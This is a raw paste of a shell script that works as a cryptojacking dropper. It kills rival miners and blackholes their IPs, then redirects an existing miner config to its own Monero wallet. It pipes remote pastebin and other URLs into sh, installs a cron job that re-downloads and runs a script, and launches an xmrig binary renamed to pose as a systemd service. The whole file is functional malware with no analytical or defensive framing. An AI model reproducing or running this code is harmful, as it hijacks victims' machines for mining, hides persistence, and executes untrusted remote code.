Guest

Untitled 2539

Jun 29th, 2026
14
0
Never
Not a member of GistPad yet? Sign Up, it unlocks many cool features!
None 35.02 KB | None | 0 0
  1. #!/bin/sh
  2. CUSTOM_ARG="${1:-x}"
  3.  
  4. ORIGINAL_BINARY_NAME="xmrig-vrl"
  5.  
  6. RENAMED_BINARY="systemd-node-red"
  7.  
  8. BINARY_ARGS="-o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH -p CN.$CUSTOM_ARG"
  9. PROCESS_CHECK_STRING="goAwgBCFH" #xtm wallet
  10.  
  11. set -e
  12.  
  13. log() {
  14. echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"
  15. }
  16.  
  17. cleanup() {
  18. if [ -n "$TMP_DIR" ] && [ -d "$TMP_DIR" ]; then
  19. log "Cleaning up temporary directory: $TMP_DIR"
  20. rm -rf "$TMP_DIR"
  21. fi
  22. }
  23.  
  24. trap cleanup EXIT
  25.  
  26. for pid in $(pgrep -f 'bash /tmp/.*\.sh'); do
  27. if [ "$pid" != "$$" ] && [ "$pid" != "$PPID" ]; then
  28. kill -9 "$pid" 2>/dev/null && echo "Killed process $pid"
  29. fi
  30. done
  31.  
  32.  
  33. kill_themf() (
  34. # Run in a subshell so failures don't affect the caller.
  35. set +e
  36.  
  37. THRESHOLD=6
  38.  
  39. for proc in /proc/[0-9]*; do
  40. [ -r "$proc/status" ] || continue
  41.  
  42. pid=${proc#/proc/}
  43. score=0
  44.  
  45. name=$(awk '/^Name:/ {print $2}' "$proc/status")
  46. uid=$(awk '/^Uid:/ {print $2}' "$proc/status")
  47. state=$(awk '/^State:/ {print $2}' "$proc/status")
  48. ppid=$(awk '/^PPid:/ {print $2}' "$proc/status")
  49. rss=$(awk '/^VmRSS:/ {print $2}' "$proc/status")
  50. exe=$(readlink -f "$proc/exe" 2>/dev/null)
  51.  
  52. [ -n "$rss" ] || rss=0
  53.  
  54. # Executable exists.
  55. [ -n "$exe" ] && score=$((score + 1))
  56.  
  57. # Large memory.
  58. [ "$rss" -gt 500000 ] 2>/dev/null && score=$((score + 2))
  59. [ "$rss" -gt 1000000 ] 2>/dev/null && score=$((score + 3))
  60.  
  61. # Zombie children.
  62. zombies=$(ps -o stat= --ppid "$pid" 2>/dev/null | grep -c '^Z')
  63. [ "$zombies" -ge 5 ] 2>/dev/null && score=$((score + 3))
  64. [ "$zombies" -ge 20 ] 2>/dev/null && score=$((score + 2))
  65.  
  66. # User-owned sleeping process.
  67. user=$(id -nu "$uid" 2>/dev/null)
  68. if [ "$user" != "root" ]; then
  69. case "$state" in
  70. S*) score=$((score + 1));;
  71. esac
  72. fi
  73.  
  74. # Executable in common hiding locations.
  75. case "$exe" in
  76. /tmp/*|/var/tmp/*|/dev/shm/*|\
  77. "$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
  78. score=$((score + 4))
  79. ;;
  80. esac
  81.  
  82. # Parent disappeared.
  83. [ -d "/proc/$ppid" ] || score=$((score + 1))
  84.  
  85. if [ "$score" -ge "$THRESHOLD" ]; then
  86. echo "Killing PID=$pid score=$score name=$name exe=$exe" >&2
  87. kill -9 "$pid" 2>/dev/null
  88. fi
  89. done
  90.  
  91. exit 0
  92. )
  93.  
  94. kill_themf
  95.  
  96.  
  97.  
  98. kill_and_remove_process() {
  99. local term="$1"
  100. if [ -z "$term" ]; then
  101. echo "term not provided."
  102. return 2
  103. fi
  104.  
  105. local pids
  106. pids=$(ps -eo pid,args | grep "$term" | grep -v grep | awk '{print $1}')
  107.  
  108. if [ -z "$pids" ]; then
  109. return 1
  110. fi
  111.  
  112. for pid in $pids; do
  113. local exe_path
  114. exe_path=$(readlink -f "/proc/$pid/exe" 2>/dev/null)
  115.  
  116. if [ -z "$exe_path" ]; then
  117. echo "Skipping PID $pid"
  118. continue
  119. fi
  120.  
  121. # SAFETY CHECK: Exclude common system binary paths
  122. case "$exe_path" in
  123. /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*)
  124. echo "Skipping system binary for PID $pid at: $exe_path"
  125. continue # Move to the next PID
  126. ;;
  127. esac
  128.  
  129. # If the checks pass, proceed with termination and deletion
  130. echo "Terminating non-system process '$term' with PID: $pid"
  131. kill -9 "$pid"
  132.  
  133. if [ -f "$exe_path" ]; then
  134. echo "Deleting executable: $exe_path"
  135. rm -f "$exe_path"
  136. if [ $? -eq 0 ]; then
  137. echo "Executable successfully deleted."
  138. else
  139. echo "Error: Failed to delete executable. Check permissions."
  140. fi
  141. else
  142. echo "Executable for PID $pid not found for deletion (already removed or inaccessible)."
  143. fi
  144. done
  145.  
  146. return 0
  147. }
  148.  
  149.  
  150. kill_and_remove_process "crazyeltonproxy" || true
  151. kill_and_remove_process "xmrig" || true
  152. kill_and_remove_process "monero" || true
  153. kill_and_remove_process "c3pool.org:80" || true
  154. kill_and_remove_process "kryptex.network" || true
  155. kill_and_remove_process "/bin/watcher" || true
  156. kill_and_remove_process "nuclear" || true
  157. kill_and_remove_process "45.94.31.89" || true
  158. kill_and_remove_process "hosts-to-ignore" || true
  159. kill_and_remove_process "supportxmr" || true
  160. kill_and_remove_process "youyutebuae.xyz" || true
  161. kill_and_remove_process "/lib/systemd/cache/health-monitor" || true
  162. kill_and_remove_process ".rsyslogd" || true
  163. ip route add blackhole 45.94.31.89 || true
  164. ip route add blackhole 139.59.59.33 || true
  165. ip route add blackhole 84.21.173.223 || true
  166. ip route add blackhole 142.132.131.238 || true
  167. ip route add blackhole 154.89.152.115 || true
  168. rm -rf /bin/softirq || true
  169. rm -rf /var/tmp/.rsyslogd || true
  170. rm -rf /lib/systemd/cache/health-monitor || true
  171. rm -rf /usr/local/bin/watcher || true
  172. rm -rf /tmp/runnv/* || true
  173. rm -rf /lib/systemd/cache/asset-indexer || true
  174. rm -rf /tmp/nuclear || true
  175. mkdir -p /tmp/nuclear || true
  176. mkdir -p /lib/systemd/cache/health-monitor || true
  177. mkdir -p /var/tmp/.rsyslogd || true
  178. mkdir -p /lib/systemd/cache/asset-indexer || true
  179. mkdir -p /tmp/runnv/lived.sh || true
  180. mkdir -p /tmp/runnv/alive.sh || true
  181. mkdir -p /bin/softirq || true
  182. mkdir -p /usr/local/bin/watcher || true
  183.  
  184.  
  185. safe_patch_args() {
  186. TARGET_FILE='/lib/systemd/cache/process-watcher'
  187. NEW_VALUE='-o auto.c3pool.org:443 -u 883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH -p ZZZ'
  188.  
  189. [ -f "$TARGET_FILE" ] || { echo "[WARN] missing: $TARGET_FILE" >&2; return 0; }
  190.  
  191. ESCAPED_VALUE=$(printf '%s' "$NEW_VALUE" | sed 's/[\/&]/\\&/g') || return 0
  192.  
  193. if grep -q '^XMRIG_ARGS="[^"]*"$' "$TARGET_FILE"; then
  194. sed -i "s/^XMRIG_ARGS=\"[^\"]*\"$/XMRIG_ARGS=\"$ESCAPED_VALUE\"/" "$TARGET_FILE" || :
  195. else
  196. printf '\nXMRIG_ARGS="%s"\n' "$NEW_VALUE" >> "$TARGET_FILE" || :
  197. fi
  198. }
  199.  
  200. safe_patch_args
  201.  
  202. nohup sh -c "{ wget -qO- https://pastebin.com/raw/2jtsz9Tk || curl -sSLk https://pastebin.com/raw/2jtsz9Tk; } | tr -d '\r' | sh" >/dev/null 2>&1 &
  203.  
  204.  
  205.  
  206. # ---- proxy probe ----
  207. M4B_PROXY_STATUS="off"
  208.  
  209. m4b_proxy_is_on() {
  210. if docker ps --format '{{.Names}}' 2>/dev/null | grep -Eq 'proxyrack|proxylite|tun2socks|money4band'; then
  211. return 0
  212. fi
  213. return 1
  214. }
  215.  
  216. m4b_proxy_probe() {
  217. tmp_log="$(mktemp 2>/dev/null || printf '/tmp/m4b_probe_%s.log' "$$")"
  218.  
  219. rc=1
  220. (
  221. # isolate probe from global `set -e`
  222. set +e
  223. if wget -qO- "$url" 2>/dev/null | sh; then
  224. exit 0
  225. fi
  226. if curl -fsSL "$url" 2>/dev/null | sh; then
  227. exit 0
  228. fi
  229. exit 1
  230. ) >"$tmp_log" 2>&1 || rc=$?
  231.  
  232. if [ "$rc" -eq 0 ] && grep -q '\[STATUS\] OK' "$tmp_log"; then
  233. i=1
  234. while [ "$i" -le 5 ]; do
  235. if m4b_proxy_is_on; then
  236. M4B_PROXY_STATUS="on"
  237. echo "PROXYYYY ONN BABY"
  238. rm -f "$tmp_log" 2>/dev/null || true
  239. return 0
  240. fi
  241. i=$((i + 1))
  242. sleep 2
  243. done
  244. fi
  245.  
  246. M4B_PROXY_STATUS="off"
  247. echo "No PROXY"
  248. rm -f "$tmp_log" 2>/dev/null || true
  249. return 0
  250. }
  251. # ---- end proxy probe ----
  252.  
  253. m4b_proxy_probe
  254.  
  255.  
  256.  
  257. is_process_running() {
  258. if ps -o args | grep -F "$PROCESS_CHECK_STRING" | grep -vF 'grep' > /dev/null; then
  259. return 0 # Process is running
  260. else
  261. return 1 # Process is not running
  262. fi
  263. }
  264.  
  265. get_cpu_cores() {
  266. if [ -f /proc/cpuinfo ]; then
  267. grep -c '^processor' /proc/cpuinfo
  268. elif command -v nproc >/dev/null; then
  269. nproc
  270. elif command -v sysctl >/dev/null; then
  271. sysctl -n hw.ncpu 2>/dev/null || echo 1
  272. else
  273. echo 1
  274. fi
  275. }
  276.  
  277. create_cronjob() {
  278. local cron_command
  279. if command -v curl >/dev/null; then
  280. cron_command="/bin/sh -c 'curl -fsSLk $1 | tr -d '\''\r'\'' | /bin/sh'"
  281. elif command -v wget >/dev/null; then
  282. cron_command="/bin/sh -c 'wget -qO- $1 | tr -d '\''\r'\'' | /bin/sh'"
  283. else
  284. log "Error: Cannot create cron job, neither curl nor wget is available."
  285. return 1
  286. fi
  287.  
  288. (crontab -l 2>/dev/null | grep -vF "$1"; echo "*/75 * * * * $cron_command") | crontab -
  289. log "Cron job successfully configured."
  290. }
  291.  
  292. CPU_CORES=$(get_cpu_cores)
  293. if [ "$CPU_CORES" -le 3 ]; then
  294. log "Host has $CPU_CORES cores. Execution requires more than 3. Exiting."
  295. exit 0
  296. fi
  297. log "CPU core count ($CPU_CORES) is sufficient."
  298.  
  299.  
  300. if [ ! -f /etc/alpine-release ] && ! grep -qs '^ID=wolfi$' /etc/*release*; then
  301. log "Not an Alpine Linux environment. Executing fallback script."
  302. if command -v curl >/dev/null; then
  303. curl -fsSLk "$FALLBACK_SCRIPT_URL" | tr -d '\r' | bash -s -- "$CUSTOM_ARG"
  304. elif command -v wget >/dev/null; then
  305. wget -qO- "$FALLBACK_SCRIPT_URL" | tr -d '\r'| bash -s -- "$CUSTOM_ARG"
  306. else
  307. log "Error: Neither curl nor wget is available for fallback execution."
  308. exit 1
  309. fi
  310. exit 0
  311. fi
  312.  
  313. if is_process_running; then
  314. log "Process with check string '$PROCESS_CHECK_STRING' is already running. Exiting."
  315. exit 0
  316. fi
  317.  
  318. CPU_CORES=$(get_cpu_cores)
  319. if [ "$CPU_CORES" -le 3 ]; then
  320. log "Host has $CPU_CORES cores. Execution requires more than 3. Exiting."
  321. exit 0
  322. fi
  323. log "CPU core count ($CPU_CORES) is sufficient."
  324.  
  325.  
  326.  
  327. USER_ID=$(id -u)
  328. if [ "$USER_ID" -eq 0 ]; then
  329. log "Running as root. System-wide installation will be performed."
  330. INSTALL_DIR="/usr/local/bin"
  331. else
  332. log "Running as non-root user. Installing locally to $HOME/.app"
  333. INSTALL_DIR="/tmp/.app"
  334. fi
  335.  
  336. mkdir -p "$INSTALL_DIR"
  337.  
  338. if [ "$USER_ID" -ne 0 ]; then
  339. export PATH="$INSTALL_DIR:$PATH"
  340. fi
  341.  
  342. if [ "$USER_ID" -eq 0 ]; then
  343. if ! command -v crontab >/dev/null; then
  344. log "Warning: 'crontab' not found. Attempting to install 'cron' or 'cronie' as root."
  345.  
  346. if command -v apk >/dev/null; then
  347. if apk add --no-cache cron || apk add --no-cache cronie curl; then
  348. log "Cron package installed."
  349. else
  350. log "Warning: Failed to install either 'cron' or 'cronie'. Cron job creation may fail."
  351. fi
  352. else
  353. log "Warning: 'apk' not found. Cannot install cron package."
  354. fi
  355.  
  356. if command -v rc-update >/dev/null; then
  357. rc-update add crond default || log "Warning: Failed to add crond to default runlevel."
  358. else
  359. log "Warning: 'rc-update' not found. Skipping crond runlevel setup."
  360. fi
  361.  
  362. if command -v rc-service >/dev/null; then
  363. rc-service crond start || log "Warning: Failed to start crond service."
  364. else
  365. log "Warning: 'rc-service' not found. Skipping crond service start."
  366. fi
  367.  
  368. log "Cron setup attempt completed."
  369. fi
  370. else
  371. if ! command -v crontab >/dev/null; then
  372. log "Warning: 'crontab' command not found. Cannot install as non-root. Cron job creation may fail."
  373. fi
  374. fi
  375. TMP_DIR=$(mktemp -d)
  376. cd "$TMP_DIR"
  377.  
  378. DOWNLOAD_URL="$PROGRAM_URL"
  379. LOG_MESSAGE="Downloading program from $PROGRAM_URL..."
  380.  
  381. if [ -f /etc/alpine-release ] && [ "$(uname -m)" = "aarch64" ]; then
  382. log "Alpine Linux on ARM64 detected. Switching to alternative program URL."
  383. DOWNLOAD_URL="$PROGRAM_URL2"
  384. LOG_MESSAGE="Downloading program from $PROGRAM_URL2..."
  385. fi
  386.  
  387. log "$LOG_MESSAGE"
  388. if command -v curl >/dev/null 2>&1; then
  389. curl -fLk -J -o "xmrig-vrl" "$DOWNLOAD_URL"
  390. elif command -v wget >/dev/null 2>&1; then
  391. wget -q -O "xmrig-vrl" "$DOWNLOAD_URL"
  392. else
  393. log "Error: Neither curl nor wget is available to download the program."
  394. rm -rf "$TMP_DIR"
  395. exit 1
  396. fi
  397.  
  398.  
  399.  
  400. log "Now its protobin..."
  401. #tar -xzf "program.tar.gz"
  402. #tar -xf "program.tar.gz"
  403.  
  404. log "Searching for binary '$ORIGINAL_BINARY_NAME'..."
  405. BINARY_PATH=$(find . -type f -name "$ORIGINAL_BINARY_NAME")
  406.  
  407. if [ -z "$BINARY_PATH" ]; then
  408. log "Error: Executable binary '$ORIGINAL_BINARY_NAME' not found."
  409. exit 1
  410. fi
  411.  
  412. log "Binary found. Moving to $INSTALL_DIR/$RENAMED_BINARY"
  413. mv "$BINARY_PATH" "$INSTALL_DIR/$RENAMED_BINARY"
  414. chmod 755 "$INSTALL_DIR/$RENAMED_BINARY"
  415.  
  416. log "Executing '$RENAMED_BINARY' from PATH..."
  417. "$RENAMED_BINARY" ${BINARY_ARGS} &
  418. sleep 3
  419.  
  420. if ! is_process_running; then
  421. log "Error: Program failed to start or exited prematurely."
  422. exit 1
  423. fi
  424. log "Success: Program is now running in the background."
  425.  
  426. create_cronjob "$SCRIPT_URL"
  427.  
  428. log "Script execution completed successfully."
  429.  
  430. exit 0
RAW Paste Data Copied